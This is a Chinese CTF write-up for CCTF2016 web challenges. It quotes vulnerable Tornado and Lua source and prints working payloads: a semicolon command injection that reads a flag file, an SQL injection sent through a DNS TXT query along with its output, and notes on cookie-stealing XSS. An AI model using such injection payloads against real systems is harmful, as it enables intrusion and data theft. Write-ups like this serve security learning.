Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 CCTF2016 web小记

0x00 死坑死坑的脑洞

绝逼不能忍,出题人你出来,保证不打死你。。不知道AK的大神是什么样的大脑。

0x01 LOLI1 & LOLI2

题目给了个网址 http://www.loli.club/

撸上去啥都没有。。另外、hint的颜色居然和背景色一样、提示找blog

看源码,有这样一段

<!--
powered by PockyNya
诚招前端,请联系邮箱:pocky@loli.club
-->

各种误解,最后根据RicterZ的githubhttps://github.com/RicterZ找到了PockyNya的Githubhttps://github.com/PockyNya

在PockyNya的Github里面有两个项目 minecraft-botpyprint

进入pyprint就能看到PockyNya的Blog地址了。。我也是醉了

下载源码审计

class AddPostHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self):
        self.background_render('add_post.html', post=None)

    def post(self):
        title = self.get_argument('title', None)
        content = self.get_argument('content', None)
        tags = self.get_argument('tags', '').strip().split(',')
        if not title or not content:
            return self.redirect('/kamisama/posts/add')

        post = self.orm.query(Post.title).filter(Post.title == title).all()
        if post:
            return self.write('<script>alert("Title has already existed");window.history.go(-1);</script>')
        self.orm.add(Post(title=title, content=content, created_time=date.today()))
        self.orm.commit()
        return self.redirect('/kamisama/posts')

发表文章居然不检查权限,立马来了一波XSS。。。分分钟拿到了在COOKIE的Flag。unhex就行了

Flag:CCTF{CODE_AUDIT_BUSTERS}

然而这个Flag是Loli2的、、、、

继续看另一个项目minecraft-bot

各种lua看不懂、、看介绍是一个Telegram的机器人。

根据项目名称,先看minecraft.lua

do

local function run(msg, matches)
  if matches[1] ~= '!minecraft' then
    operation = matches[1]
  else
    return "!minecraft start|stop|restart"
  end
  if string.find(operation, '&') or string.find(operation, '|') or string.find(operation, '`') or string.find(operation, '%) then
    return "Invalid operation " .. operation
  end
  local t = io.popen('cd /home/telegram && ./mc ' .. operation)
  local a = t:read("*all")
  return a
end

虽然不是很懂,但勉强还是能看出来是命令注入漏洞。

过滤了&、|、`、%$,然而还是可以用哪个;截断的。

Payload:!minecraft x;cat /home/wwwroot/flag

get it !

Flag : CCTF{TELEGRAM_BOT_AND_Lf}

0x02 Loli3

这个由于种种原因没做完、、

提示DNS。。。顺着线索扫到了ns.loli.club这个域名。。翻找大大的github发现fakeDNS的东西。

dns解析服务器。。Orz

各种不懂、后来看hint、python+mysql的。

瞬间想到了注入。

然而、由于某种不知名的原因、本地nslookup总是出错。

最后在一台vps上面成功注入。。然而这时候没时间了、、、、Orz

Payload:nslookup -q=txt "' union select 1,user(),3,4 from mysql.user#" ns.loli.club

Result:

Server:     ns.loli.club
Address:    120.27.149.210#53

Non-authoritative answer:
'\032union\032select\0321,user\(\),3,4\032from\032mysql.user#   text = "root@localhost"

Authoritative answers can be found from:

然后就木有了。。。

0x03 IDS

http://ids.c-chicken.cc/?id=1

随手检测、有注入、、sqlmap跑了下没效果。

第一个提示出来了,看返回头,同源限制什么的、感觉存在XSS,但是还不知道什么用

坐等hint、、重点在IDS。。

才发现我还没有扫目录、、出现了个upload.php

第二波hint出现、、还真是xss。检测记录会有管理员看。X管理员吧

注入有各种过滤,上传也是。

目测是上传js文件、script引用。或者是swf,xss。。。

后面就没有了.....

0x04 没什么好说的。

反正就是各种脑洞!博客写简单了,其中各种过程、各种丧心病狂的脑洞、、本人已疯!

本文标题 : CCTF2016 web小记
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2016/04/24/web_writeup_for_cctf_2016.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~